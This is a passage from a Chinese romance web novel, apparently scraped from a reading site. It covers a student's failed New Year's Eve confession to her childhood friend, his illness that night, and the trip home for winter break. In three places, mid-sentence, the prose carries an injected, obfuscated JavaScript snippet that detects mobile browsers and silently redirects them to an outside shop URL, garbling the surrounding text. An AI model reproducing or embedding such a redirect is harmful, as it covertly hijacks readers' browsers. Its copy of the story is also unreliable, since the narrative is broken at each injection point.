辛苗缩在被窝里纠结了半晌,最终,还是试探性地给李欣悦发去了求助微信。 辛苗:“怎么办?” 李欣悦:“什么怎么办?” 辛苗:“我今天,按照你教我的方法试了……” 李欣悦:“!!然后呢?” 辛苗手指顿在屏幕上,思绪又不由得回到了几个小时之前。那种突破社交距离近在咫尺所带来的脸热心跳的感觉,像是被刻在了骨子里,稍一回忆,就忍不住打颤。辛苗又往被子底下缩了缩,将自己团成一个球。 辛苗:“我好像,真的喜欢他了,怎么办啊?” 李欣悦:“他喜欢你,你也喜欢他,不正好?” 辛苗:“可是,那只是我朋友猜测的,他没亲口说,我现在很不确定,我怕是我感觉错了。” 李欣悦:“宝贝~对还是错不重要,甚至他喜不喜欢你也不是特别重要。重要的是你的感觉、你的想法,你的出发点应该是如何满足你自己,youknow?” 辛苗在感情上约等于一张白纸,仅有的少量经验不是来自偶像剧,就是言情小说,李欣悦的话看得她一愣一愣的,虽然想不明白,但又觉得貌似很有道理。 辛苗虚心求教:“那应该我去追他?可是我们都那么熟悉了,会不会很奇怪?” 李欣悦:“那就不要直接去追。” 辛苗:“?” 夜色里,李欣悦对着手机屏幕露出略显猥琐的笑容,她眯起眼,双手噼里啪啦地按着键盘:“勾、引、他,让他倒追你。” 辛苗:“…………” 当天晚上,她就做了个梦。 梦里是在三亚,祝楠楠非要去海水浴场游泳,并且强制性的将她们剩下三个人一并吆喝着去了。裴松一到海边就窜进了水里找不见人了,陈青禾却没有要下水的意思,穿着短袖沙滩裤坐在一旁的躺椅上乘凉。辛苗刚想凑过去一道躺下,就被祝楠楠不由分说地拽着手腕拉去了路边卖游泳衣的店里头,给她挑了一身大红色性感贴身连体三角款泳衣,不带小裙边的那种。 她穿上了,然后含羞带怯的被祝楠楠拽到陈青禾旁边。 祝楠楠问陈青禾:“怎么样?辛苗性感吧?” 辛苗闻言,在一旁默默地挺胸提臀,还抬手将头发往后拨了拨……一整个玛丽莲梦露附身。 陈青禾坐直身子,视线定格在她身上逡巡了好久,最终,在她满含期待的心情中,慢慢掀开了唇:“辛苗,你为什么要cos成脆皮红肠?” 辛苗:“……$&#%*!” 梦到此处就断了。 辛苗睁开眼,后背惊出了一层冷感,连带着整个人都是麻木的。她双手抚着胸口缓了好一阵子,那种气到爆炸又夹杂着一丢丢伤心的余韵才稍稍退去。辛苗伸长胳膊从床边摸索出手机一看,才五点多钟,还能睡好一阵。她准备放下电话,视线又凝到屏幕下方——显示着还有一则微信未读消息的提示。 点开,是陈青禾。 【宿舍有暖气,牛肉酱保存不了太久,尽快吃。实在吃不完就扔了,别怕浪费,小心吃坏肚子。】 【晚安。】 消息是夜里十二点多发来的,想必是他临睡前想起来特地发消息叮嘱的……陈青禾永远都是这么心细,甚至是体贴,他总是在不经意之间就替她考虑好了一切。辛苗很早就喜欢了被他这么事无巨细的安排着,所以从不觉得有什么。 或许是这会儿夜深人静,又或许是她的感情变了,辛苗直到这一刻才蓦然想起,陈青禾也只不过是跟她年纪相仿的青年人而已,粗心、丢三落四、顾头不顾尾才是她们这个年纪的共性,哪有人会这么体贴入微的去照顾另一个人,而且一顾就是这么多年。 陈青禾真的很好。 至少,他对自己真的很好。 这么好的陈青禾,想必是不可能说出她像脆皮红肠这么恶毒的话来。 辛苗想着想着,翻了个身,又沉沉地睡了过去。 - 没几周,到了年底,圣诞过后紧挨着就是元旦。 两个北京本地的舍友毫无意外的回了家,李欣悦在前段时间谈了个大二的男朋友,这种日子理所应当的跟着男朋友去过了。她倒是很意思地表示不嫌弃辛苗是个电灯泡,可以带着她一起去约会,辛苗想都没想都拒绝了。 李欣悦努了努嘴,临出门前眼睛一转,退回来在辛苗耳边悄悄说了什么,然后不等她做出反应,潇洒的拍拍屁股走人了。 辛苗一个人坐在凳子上,一张白嫩的小脸像是被烧着了似的,从底下慢慢往上红了个透。 她拿出手机,指尖在屏幕上犹豫了好久,才终于发出去了一则微信。 【要不要一起去看跨年烟花秀?】 一秒、两秒,辛苗握紧手机,眼睛眨也不眨的盯着屏幕。 一分钟,两分钟,她退出微信,然后重新点开,然后又退出,循环往复,生怕消息刷新不及时。 足足等了十分钟,陈青禾那端就像是进了热带雨林或是塔克拉玛干沙漠似的,连个信儿都没有。 辛苗个急性子,耐心告罄,她二话不说就抄起手机就准备拨过去兴师问罪。说来也巧,沉寂了很久的微信终于在她濒临爆发的前一刻显了灵。 叮咚一声提示音脆响,对话框里蹦出来两个字眼。 【好啊。】 不是一个冷冰冰的“好”。 也不是他往常最爱说的“可以”。 是“好啊”。 跨年夜,特殊日期;烟花秀,浪漫。 他还说:好~啊~ 辛苗眯起眼睛,愣是从这平平无奇的回复里品出了一个“事实”——陈青禾,他喜欢我。 北京意义特殊,五环内全部禁燃禁放,今年不知道怎么回事,官方消息说鸟巢会有跨年烟花秀。据两位本地舍友说,这是近几年头一回,难得的很,一定要去看。 辛苗跟陈青禾约了下午七点碰面,时间充裕,她用了将近两个小时给自己画了个妆,大功告成之后在全身镜前一照……只见镜子里的人脸跟脖子是两个颜色,眼妆灰不溜秋,腮红又过于的红,像猴屁股,口红颜色也不合适……辛苗哀嚎一声,又灰溜溜地跑去卸了。 忙活了一下午,出门时候还是素面朝天。 北京的冬天很冷,又干又冷,风跟刀子似的刮在脸上。辛苗穿着她最厚实的一件白色长款羽绒服,将一条克莱因蓝的羊绒围巾围在脖子上。围巾很长,尽管她缠了好几圈,但还是剩了长长一截,辛苗打了个结,任由它像个蓝领巾似的坠在身前。 节假日,原本就人满为患的公共交通直接被挤到半瘫痪状态,辛苗上下地铁压根不用自己走,人群直接推着她往前行。 辛苗跟陈青禾约在地铁出口见面,没想到一到站,车厢一大半人都在这站这种特殊日期,能让大家忍着料峭寒风跑到这边来的,也就看烟花秀这一件事了。 她被裹在人群中挤出地铁站,一上台阶,迎面而来的冷空气冻得她先打了两个大喷嚏。辛苗吸了吸鼻子,顺便把围巾往上拽了些。地铁站门口密密麻麻全都是人,一眼望去,年轻的男生女生占了大半,辛苗往边上走了几步,站在一棵树底下给陈青禾打电话。 刚拨出去一秒钟,肩膀就被人从身后拍了拍。 辛苗转过头,发现陈青禾不知道从什么地方冒了出来。 天冷,他穿了一件长款的黑色的羽绒服,脑袋上不知道带着从哪买来的黑色毛线帽子,耳朵上挂着口罩,只露出一双稍显狭长的眼睛……总之从头顶到脚踝,能裹住的地方全都裹得密不透风,比辛苗还要严实上几分。 陈青禾怕冷,辛苗一直是知道的。 她无语了几秒钟,收起手机。 辛苗:“好多人啊。” 陈青禾:“嗯。” 辛苗:“你吃饭了吗?” 陈青禾:“还没。” 辛苗摸了摸干瘪的肚子:“那我们先去吃饭吧?” 陈青禾:“行。” 因着地铁站人太多,两人都不怎么想挤,便决定在附近随便吃吃。辛苗在手机上翻了一通,找到了附近一个购物商场,两人步行过去找了家热乎的自助火锅。吃完饭临近九点,距离烟花表演还有将近三个小时,现在过去也没什么事干,两人一商量,干脆买了电影票,愣是磨蹭到了十一点多才出了商场。 烟花秀的缘故,临近凌晨的马路一改往日的萧瑟,全部都是人。购物中心距离鸟巢步行得有二十分钟,不算近,饶是如此,马路上已经有了堵车的迹象,人行道也是熙熙攘攘。 辛苗穿梭在人堆里头,冻得直缩脖子:“原来大家都爱看热闹啊。” 陈青禾跟在她身后,轻轻“嗯”了一声。 他今天不知道怎么回事,话格外的少。 辛苗心里藏着事儿,就想跟他多说几句话,见状,不得不自己找话题:“你呢?我不叫你出来你准备干什么?” 陈青禾说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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十五分钟后,一切恢复寂静,只有空气中残留着爆竹燃放过后的硝烟味。 辛苗仰头看得脖子都酸了,她意犹未尽的收回视线,低下头,才后知后觉的发现自己还挽着陈青禾……辛苗顿时有种做贼心虚的感觉,她忙欲抽回胳膊,却在看见陈青禾的脸的那一刹那,蓦地停了下来。 青年眼角轻垂,长而直的睫毛如羽翼般,在他眼下落下一片阴影。察觉到她的视线,陈青禾微侧过脸,眼底似有星芒闪过:“怎么了?” “没什么。”辛苗抿了抿唇,她的心脏在胸腔不受控制的疯狂跳动着,咚咚咚,强而有力的声响仿佛比方才的烟花爆炸的声响还要大上一些,简直快要蹦出来似的。 临出门前,李欣悦在她耳边说的悄悄话再度浮现在脑海里—— “喜欢就去追,不用考虑他喜不喜欢你,强扭的瓜保甜的!” 人群调转方向往回走着,周遭声音嘈杂。 辛苗却什么都听不见,她闭上眼睛,短暂几秒后,又睁开,澄澈的双眸直勾勾的对上陈青禾的眼。 辛苗深吸一口气,嗓音发紧地说:“陈青禾,我,我想谈恋爱了。” 话音落下,陈青禾眼皮颤了下。 他很久都没有开口,下巴却骤然绷紧,许久后,才掀开唇说:“嗯。我……” 刚起了个头,却被辛苗紧急喝止。 “你先别说!你听我说完!我已经有喜欢的人了,你呢?你有吗?” 已经有,喜欢的人了。 陈青禾说不出这一个瞬间,自己是什么心情。 几秒钟之前,在她望着自己说想恋爱的时候,陈青禾想来平静、淡漠的心被一根细线高高吊起在半空里。他说不清那一刻自己的感受,一个人藏在心底最剧烈的渴求突然就要实现的那种巨大的喜悦铺天盖地的冲击过来,他四肢百骸都微微发麻,那是种无法违背的生理反应。 但一息之后,吊着他心脏的那根线就断掉了,他来不及反应,就被摔得七零八落,狼狈极了。 陈青禾眼底闪过几丝茫然。 他无措地抿紧了唇,不知道该做何反应,只能静静地站着,听着她把话说完。 直到她问:“你呢?你有吗?” 陈青禾从恍然中回过神。 他静默片刻,眼底光华不在,灰蒙蒙的,凛冽的就像北京的天。 “没有。” 57. 第 57 章 烟花秀结束,公共交通已经停止运营,一堆人挤在鸟巢附近,堵的几乎水泄不通,光是打车就打了两个多小时。 直到凌晨两点半,两人才终于坐上了回师大的计程车。车后排,辛苗坐在左侧,半边身子紧紧贴在车门上,陈青禾坐在右边。两人中间就像是一条被划开了的天河,又或者是棋盘上的楚河汉界,隔出了泾渭分明的空档。 一路无话。 这几乎是从他们认识以来,坐在一起最最沉默的一回。其实也是,陈青禾本来就没什么话,他们之间活跃气氛的任务一直都在辛苗头上,但是辛苗现在别说活跃气氛了,她连话都不想再说。 她扭过头,脑袋抵着车窗,眼眶泛酸。 好死不死,玻璃上却映出旁边人的倒影……辛苗呼吸一滞,眼泪差点掉出来! 人生第一回表白就失败了,初恋未半而中道崩殂,怎一个惨字了得! 辛苗想不明白,为什么陈青禾会没有喜欢的人?他怎么可以没有喜欢的人?他应该是喜欢她的啊!明明祝楠楠都发现了,而她自己也隐隐约约感觉到的,要不然他为什么对她那么好?因为他温暖善良么? 屁! 辛恨恨地咬牙,脑袋唰的一下转过去瞪他……然而对方压根没接收到她饱含愤怒的视线,陈青禾正闭着眼睛,整个人向后仰靠着座椅,眉心微微皱着,看上去像是睡着了。 辛苗原本就难受的心脏顿时更悲伤了。 她咽下了已经到了嘴边的质问,扭过头,继续忍眼泪去了。 她绝对不能当场哭出来,否则就太尴尬太丢脸! 辛苗不知道的是,她转过去的那一瞬间,原本已经“睡着”了的人便睁开了眼。 陈青禾眼底泛着红,原本就发着烧的身体在经过长达8个多小时的不眠不休之后,他整个人近乎到了一种麻木的状态,脑袋像是被重锤打砸似的,持续的钝痛让他整个思维都慢了半拍。 但原本他是开心的,尽管身体不适,但陪着她看烟花的那一瞬间,他心里满满当当的,那是种无法形容的充实感。只可惜,烟花绽放的时间过于短暂,他的满足与愉悦也转瞬即逝。 辛苗眼底笑盈盈地闪着光看向他,说她想谈恋爱了,说她已经有了喜欢的人……那个时候,周遭所有的喧闹顷刻间变得寂静无声,他先是眩晕了一息,紧接着耳朵里传来阵阵耳鸣。 “你呢?你有吗?” 她的询问在一阵尖锐的蜂鸣声中传进耳中。 陈青禾定定地看向她。 她的眼睛大而明亮,笑起来的时候却会弯成一道桥。提及这个话题时,她大概是想着她喜欢的人,眼里亮晶晶的,耳廓通红,粉色的唇畔却微微抿了下,似是觉得羞赧。 从认识辛苗以来,她在他心里一直都是可爱、勇敢、善良的,她拥有着他不具备的一切美好品质,像个温暖的小太阳……但那时那刻,陈青禾却觉得她很残忍。 否则,她怎么能在亲手打破他小心翼翼怀揣多年的希冀与妄想之后,还能笑得如此灿烂? 那一刻,陈青禾恨不能在她咽喉上咬上一口! 但他不会。 陈青禾永远不会伤害辛苗。 所以,他只是用尽了全身仅剩的力气维持着自己所剩不多的体面,深吸一口气,从灼痛的嗓子里平静地给她回答。 ——“没有。” 路口绿灯骤然变红,司机师傅一脚急刹,车身剧烈摇晃了下。 陈青禾思绪回转,眼底却是一片茫然。车厢一片漆黑,唯一的光源是外头闪过的一个又一个的路灯,他仰头看着车顶,喉结滚动几番,又疲惫地闭上了眼。 …… 几十分钟后,出租车停在了师大门口。 辛苗和陈青禾一左一右下了车,两个人看着紧闭的学校大门,双双陷入沉默。 辛苗眼眶泛红,牙关咬得紧紧的,蓦地一抬手,对着自己的脑袋狠狠地敲了两下! 她真是蠢,满心满眼光惦记着烟花和劳什子的表白,却忘了学校十二点准时关门,错过了就只能等第二天早上了。现在好了,折腾到现在好不容易回到校门口,却偏偏进不去。 辛苗低下头,忍了一晚上的眼泪被这最后一根稻草压得决了堤,从眼眶里汹涌往外流。她真的特别难过,只想把自己埋进被子里哭一场,但就连这点儿微小的愿望此刻都成了奢望……暖气开的热乎乎的宿舍是进不去的,被窝是没有的,西北风倒是利索,呼呼的刮,吹得她刚流出来的热泪一秒就凉得透透的。 好在她的委屈来得快去得也快,掉了几滴猫尿之后,辛苗小小抽噎了声,很快就克制住了自己的情绪。 她吸了吸鼻子,用冷酷无情的声音对着陈青禾道:“那个,要不你回去吧,我在旁边找一家店等学校开门。” 话音刚落,就被他更冷酷更无情的拒绝。 陈青禾想都没想便道:“不行。” 辛苗现在一听他说否定句就忍不住想炸毛,她拧过头,咬着唇怒气冲冲地问:“为什么?” 陈青禾说:“我不放心。” 辛苗:“……哦。” 一肚子火瞬间就熄灭了。 辛苗低下头,深深地觉得自己实在是太太太没出息,一听他说担心自己,就什么脾气都没了。心里有个两个小人在打架,一个说“看吧他会担心你就证明他心里有你”,另一个说“他一直都对你很好但亲爱的那不是爱”。两个小人刀光剑影你来我往,堪比武林高手对决现场。 陈青禾并不清楚身旁的人脑海里正在上演武侠大片,他只是看见原本莫名生气的她突然低下头不说话了……天色太暗,他看见她泛红的眼眶,却能感知到她从方才便急转直下的情绪。 陈青禾却不清楚到底是因为什么。 他疲惫困顿的大脑临近罢工边缘,依靠着本能支撑着他仅有的理智与冷静。 “刚才过来的时候我看见附近有一家24小时便利店,灯亮着,应该在营业,我陪你过去等。”陈青禾说完,稍顿了几秒,轻声补充了句:“可以吗?” 辛苗吸吸鼻子,闷哼一声“嗯”当作回答。 虽然不想承认,但夜不归宿一个人待在便利店她是有一丁点害怕的。可如果陈青禾在身边,她就不觉得怕了。也不知道从什么时候开始,她养成了这种“凡事都有陈青禾”的坏毛病……现在好了吧,报应来了。 辛苗瘪着嘴,愈发跟自己较起劲来。 便利店距离这边有几百米的距离,两人一前一后走着。陈青禾在前,辛苗拖着步子在后。快到店门口的时候,陈青禾像是突然崴了一下,整个人打了个趔趄,高大的身形在漆黑的夜色中晃了一晃,但很快又重新站稳。 整个过程不过几秒钟,辛苗刚好看到。 她愣神了片刻,还没来得及深想,脚步就已经加快跑到了他身边。 辛苗拧着眉:“你怎么了?” “嗯?”陈青禾像是没反应过来。 辛苗又问:“你不舒服吗?” 陈青禾垂眸看她,眼底红血丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176159|130746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 密布。原本宽慰的话在看到她一脸担心的样子时,在唇边卡顿了下,变成了罕见的示弱,“嗯,有一些。” 话音刚落下,便利店到了。 辛苗先一步推开玻璃门,用后背抵着门框,直到陈青禾进去店里,才松了开来。她的视线一直定在他脸上——方才外头光线暗看不太清,这会儿一进到店里,灯光明亮,她才看清他的状态确实差的可以,眉头紧紧拧着,嘴唇失了血色,脸颊却泛着不正常的红。 辛苗心底一跳,面色顿时更沉了几分。 便利店最里面有供客人用餐的几张桌椅板凳,辛苗让陈青禾先去坐着,她自己跑去货架上拿了两瓶水和面包。前台的收银小哥正趴在桌子上打盹,听见动静,从瞌睡中惊醒。辛苗付了账,想了想,又拜托小哥将热两瓶水热上。 几分钟的功夫,矿泉水有了些温度,辛苗等不及得取了出来捧着往里走。 陈青禾坐在凳子上,整个上半身伏在桌面。他向来规律仪态都是没得挑的,站有站相,坐有坐相,如果不是难受的紧了,绝对不会这么不管不顾的趴下去。 辛苗的小山眉皱了起来,她轻手轻脚的拉开旁边的凳子坐下,屁股刚挨着,陈青禾就睁开了眼。 辛苗赶紧将水递了过去:“热的,你喝一点吧。” 陈青禾接过,道了声“谢谢”,声音听起来有些嘶哑。他拧开瓶盖,却将水递给了辛苗,然后从她手里拿过另外一瓶打开,才仰头喝了口。整套动作极其自然,就像是做了千百遍那样,已经成为了一种习惯。 辛苗手指僵硬地握着矿泉水瓶,半晌,默默抿了一小口。 旁边,陈青禾喝了几口便没再继续了,他将水瓶放到一旁,重新趴了下去,手臂交叠着,整张脸埋在臂弯里头。辛苗看得心脏都悬了起来,她小声提议:“你哪里不舒服?我们要不去医院吧?” “有些感冒,不碍事。”陈青禾闷闷的声音传来。 辛苗不说话了。虽然刚刚表白被拒,虽然他没有喜欢她,但那可是陈青禾啊!如果不是她私心作祟,提议要他出来看烟花,让他陪着她一起又冷又挤待了大半晚上,北京的冬夜温度那么低,还起了风,他本来就怕冷,肯定是被生生冻坏的。但她什么也做不了,只能坐在旁边看着他难受。 辛苗愧疚死了,甚至又想哭了。 她今天晚上一直在哭,前面十几年没掉的眼泪全在今天一并掉完了。 辛苗死咬着嘴唇,不想发出声音,可惜还是失败了。 嗓子眼里有一声抽噎着实不听话,从她紧闭的唇缝里泻了出来,伴随着小声的吸气声,一并钻进了陈青禾的耳朵里。 他抬起头,眉眼困倦,却在触及到她眼泪的一瞬间震颤了下。 “哭什么?”陈青禾声音沙哑,他看着她晶莹的泪珠从眼眶里溢出来,掉到脸颊上,一路蜿蜒,留下两道湿润的痕迹。他唇角弯了下,语气放的更轻:“别担心,我真的没事。” 辛苗嗷呜一下,哭得更大声了。 她抬手捂住脸,把一晚上的所有憋闷都哭了出来,肩膀不住的抖着,像是受了莫大的委屈一般。 陈青禾叹了声气。 他撑起身,伸出手臂将她揽进怀里。便利店的空调出风口的风吹过来是热的,陈青禾身上的温度却比这还要更甚一些。他的手心是炙热的,贴在辛苗的颈后。他的呼吸是滚烫的,气流拂过辛苗的发顶。 在他的怀里,辛苗闭上眼睛,鼻腔里全是他身上独有的味道,干燥而温暖,令她心安。 58. 第 58 章 元旦三天假期一溜烟过去了,收假前一天晚上,李欣悦回了宿舍,第一件事就是问辛苗有没有表白,结果怎么样? 辛苗不想告诉她自己出师未捷身先死,支支吾吾找了个借口说自己忘了这茬压根没提,才总算敷衍了过去。 只是,骗别人容易,骗自己很难。 之后半个月,辛苗时不时会思考一个问题—— 她和陈青禾之间,算什么?又该怎么办? 朋友?显然不是了,她心里有了“邪念”,纯牛奶般的纯友谊已经一去不复返了。 恋人?那就更不是了,她已经表白被拒了。 总之,不上不下,很奇怪。 辛苗不知道该怎么面对他,她毕竟是个女孩子,脸皮再厚也厚不过城墙,实在无法做到心无芥蒂,假装什么都没发生过跟他像以前那么相处,索性装作鸵鸟,将头埋进沙子里装死。 好在不久就到了期末考试,辛苗再没功夫思索这件事了,她所有的精力都用在了复习功课上。等好不容易熬过考试周,就到了回家的时候了。 车票是陈青禾提前买的,高铁,邻座,一共要坐五个小时,两人说好了再高铁站碰面。 辛苗一见到陈青禾,脑内就不受控的循环播放她表白被拒的残忍瞬间,再时不时偶尔插播几则她趴在陈青禾怀里嗷嗷大哭,顺带把眼泪鼻涕抹他一衣服的场面……尴尬,实在是太尴尬。 辛苗不知道该怎么面对他,直接发扬鸵鸟精神,一上车便两眼一闭,假装睡觉。装着装着,也就真的睡了过去。陈青禾坐在她旁边靠过道的位置,一路没有合眼。 这种状态,就跟以前高中下晚自习回家的那辆公交车一样,辛苗两眼一闭睡得昏天暗地,而陈青禾总是清醒着盯着站牌,避免坐过站。 车厢里人声嘈杂,辛苗睡得并不安稳。她仰头靠在座椅靠背上,一个姿势久了,脖子僵硬的难受,她半梦半醒间凭借着本能调整了下角度,直到觉得舒服了,才安定下来继续打瞌睡。 陈青禾坐得笔直,他左侧肩膀上压着一颗头,沉甸甸的。女孩的呼吸声就在耳畔,清且浅,就像是风,时不时的从他脖颈拂过。 五个小时后,车辆准时到站。 陈青禾叫醒辛苗,在她还在发蒙的时候,他已经从货架上将两人的箱子扛了下来。 照城是个小站,但由于临近年关,客流量很大,下车的人在走廊排成一排。车门刚一开,大家便挨个往下走。辛苗推着箱子跟在陈青禾身后往出挪着,一只手腾出来捏了捏发僵的脖子。说来也怪,她脖子跟竖着一分为二了似的,光左边抻的疼,右边倒没什么感觉,还真是奇怪…… 不过这个问题没来得及深想,下了高铁,数个车厢的乘客都一并挤在了扶梯口,等着乘电梯往出站口走。人群拥挤,辛苗也顾不上脖子了,两手握着箱子才不至于被挤倒。陈青禾个高,比她游刃有余许多,甚至还能空出一只手护在她身侧。这种动作完全是下意识的,这么些年一直习惯如此,身体早已形成一种本能。 辛苗看在眼里,心里一时说不上是什么感觉,软软的,又酸酸的。倒是脑袋里电光火石间冒出一句歌词——如果这都不算爱? 她瘪起嘴,看着陈青禾的后脑勺,不由地想把这人脑袋撬开来看看,看里面到底有没有她。也省得她翻来覆去千般揣测,万般想不通了。 不过听说开颅手术风险很高来着…… 从站台到出站口走了将近十分钟,快到闸机口的时候,陈青禾突然回过头问:“那是不是辛叔?” “嗯?在哪?”辛苗抻着脖子往前瞅,片刻,目光一凝:“就是就是,还有我妈,还有你妈!大家都来了!” 陈青禾:“嗯。” 辛苗一脑袋的“危险想法”瞬间抛诸脑后,她抬起一支手高举在空中挥啊挥的,恨不得原地跳起来吸引她爸妈的注意。 很快,几个大人就看到这边了,方蕊挽着赵锦华的胳膊,两位妈妈开心的凑在一起望向这边,嘴里不住的说些什么,看起来特别激动,却又碍于公众场合只能忍着。 辛建强却没那么多顾虑,在看见他闺女的第一眼,辛建强就毫无顾忌的挥手呼应,甚至还冲着辛苗喊了两声:“苗苗!闺女!在这儿呢!” 辛苗欢天喜地的过了闸机,连票都顾不得收,箱子往旁边一推就奔着她爹妈跑了过去,跟枚小炸弹似的冲进了赵锦华怀里。 辛苗小狗撒娇:“妈,你可想死我了!” 赵锦华笑得见牙不见眼:“好了好了,这不回来了么。” 辛建强在旁边酸溜溜的:“就只想你妈不想你爹?” 辛苗嘿嘿一笑,张开手臂给了她爹一个拥抱:“当然也想!” 辛建强满意了:“这还差不多!” 旁边,方蕊和陈青禾就内敛了许多。 陈青禾站定方蕊面前,任由她细细端详着。一个学期说长不长,说短不短,方蕊鬓边的白头发好像又多了些,好在精气神不错。 陈青禾抬起唇:“妈,我回来了。” 方蕊仰起头:“回来了就好……儿子你是不是长高了些?” 陈青禾笑了笑:“嗯,比开学高了两公分。” 方蕊也笑了:“好事,注意营养要跟上。” …… 两家人各自寒暄了几句,一起坐上了辛建强那俩古董桑塔纳。家长们提前说好没做饭,在外面吃了顿火锅就当给两个孩子接风洗尘了。饭后,又一起挤在车里回了筒子楼。 后排座位上,辛苗左边是赵锦华,右边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211947|130746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是方蕊,她在中间缩着。车辆摇摇晃晃,大人们聊天聊得有来有往,辛苗坐在那儿,看着副驾上陈青禾的后脑勺发呆。 直到听见赵锦华说:“我记得你跟青禾刚来那年,咱们也是这么坐在车里头一起去吃饭,一晃过去了这么多年了。” 方蕊感慨:“是啊,当时他俩还没上初中,现在已经是大学生了。” 辛建强把这方向盘,闻言不忘接茬:“我记得当时青禾还跟苗苗一起坐在后排,现在好了,都长成了个185的大小伙子,后排都缩不下了。” 赵锦华:“还好你闺女长得不多,不然车都坐不下了。” 辛苗幽幽看过去:“……妈。” 辛建强:“哈哈哈,别说我闺女,我闺女快165了,不矮!” 辛苗:“就是!” 车内顿时笑作一团。 笑罢,空气莫名寂静下来,方蕊突然道:“时间过的真快啊。” 赵锦华:“是啊,两个小学生一眨眼都成大学生了,我们也老喽。” 辛苗坐在中间,听见一左一右两位妈妈说起“老”这个字眼,她心里顿时跟被什么东西刺了一下,很不舒服。她吸了吸鼻子,打断她俩的对话:“老什么老,二位都是美女呢,正年轻,是吧爸爸?” 辛建强特捧场:“我闺女说得对,老什么老,俩孩子才大一,还有大二大三大四,往后还得谈恋爱结婚生小孩,到时候你俩还得帮忙带孙子,现在就老了,以后可咋整?” 赵锦华忙斥:“什么生孩子,你又胡说八道起来!” 辛建强梗着脖子:“事实么,对吧苗苗?” 辛苗:“……” 她缩在后排,在她妈锋利的视线下愣是没敢接茬。事实上,辛苗还真不知道该怎么接。她爹的话里有歧义——什么叫“俩孩子以后还得谈恋爱结婚生小孩”?理智上,辛苗明白她爹只是泛指,但该说不说,她总是想偏,想成,她和陈青禾,俩人,得谈恋爱结婚生小孩。 辛苗知道自己想歪了,但她就是控!制!不!住! 三个大人还在那边说什么她已经听不见了,辛苗抿了抿唇,偷偷调整了下坐姿,做贼似的看向后视镜……果不其然的看见了陈青禾的脸。他坐在副驾上,不知道听没听见刚才辛建强说的话,总之面上没什么表情,还是一贯的那副冷冷淡淡的样子。 辛苗试图通过他那张万年不变的冰山脸上的微表情分析一下他现在的心情,然而不等她细细探究,下一个瞬间,陈青禾突然抬起眼皮,视线不偏不倚定在后视镜上,跟她完美的来了隔镜版的四目相对。 辛苗:“……” 她悻悻然地收回视线,顿时不敢再看了。 因而,也就错过了陈青禾眼里那一丝不明显的怅惘。 59. 第 59 章 这个寒假辛苗过得异常忙碌。 到家当天距离除夕只剩下半个多月,她先是在家待了两天,去店里帮了赵锦华两天的忙,然后就被连人带行李送去了她外婆家。老人家说半年没见,想她的很,非要她去住上几天。 辛苗在外婆家里熬了一周,被她那不靠谱的表哥带着钻了几回网吧,又去了几趟ktv,最后成功的被她舅舅发现,以“带坏高材生妹妹”为理由,给她表哥狠狠收拾了一顿。辛苗心下愧疚极了,顿时也待不住了,拎着大包小包行李跑回了自己家。 高考结束之后分散在天南海北的同学们也都回了家,有爱热闹的在各个大小群里组织聚会,辛苗参加了两场小规模的同学聚会,又跟蒋珂单独约了次饭。 这厮当时高考考去了江苏,至今俩人多半年没见面,却丝毫没有生分,尤其是蒋珂,刚往那儿一座就开始滔滔不绝。她说她大学进了学生会,在新媒体部,主要负责收集学校内部新闻,出出报纸,再管理公众号表白墙什么的。辛苗听完,只觉得她这个无比对口,可以充分发挥她热爱八卦的天性。 蒋珂推搡了她一把,含羞带怯地辩驳:“哪有!唉怎么只有我在说,你也说说呗。” 辛苗:“可以啊,你想知道什么?” 蒋珂抛来一个媚眼:“就你跟陈青禾,你懂得。” 辛苗:“…………” 跟蒋珂一聊就是半天,直到最后,辛苗也没跟她吐露自己跟陈青禾的感情现状。一方面是她自己也说不太清,另一方面,蒋珂个大嘴巴,她如果知道了,不出24小时,大半个同学圈就都知道了……辛苗可不想承担这个风险。 不过,无法跟蒋珂说的话在见到祝楠楠的时候,辛苗毫无保留,全部倾诉了出来。 除夕前一天,辛苗跑去了祝楠楠家。两个人什么也没做,窝在她卧室的床上说着悄悄话,话题从吃喝玩乐说到学校趣事再说到人际交往。 末了,祝楠楠小心翼翼地问:“你跟陈青禾,现在到底怎么一回事?” 今年元旦当天,祝楠楠十点多睡醒,就发现微信被人狂轰滥炸了,语音跟文字消息交杂着,而始作俑者就是她面前的这位。祝楠楠挨个点开连听带看,一番下来,大概明白是怎么个事了。她连忙打电话过去安慰辛苗,听她哭诉了将近一个多小时,越听越觉得心里没谱。祝楠楠无论如何都不肯承认自己会看错,但苦于当时她们天南海北,辛苗情绪又正不稳着,她只能顺着她,这次一回来,祝楠楠说什么都得仔细问清楚。 闻言,辛苗顿了几秒才说:“还能怎么回事,就那样呗,怪尴尬的。” 祝楠楠倒吸一口冷气:“你俩怎么还就尴尬上了?” 辛苗看她:“表白失败还不够尴尬么?” 祝楠楠百思不得其解:“怎么就能失败呢?我是不会看错的,他绝对对你有意思!” 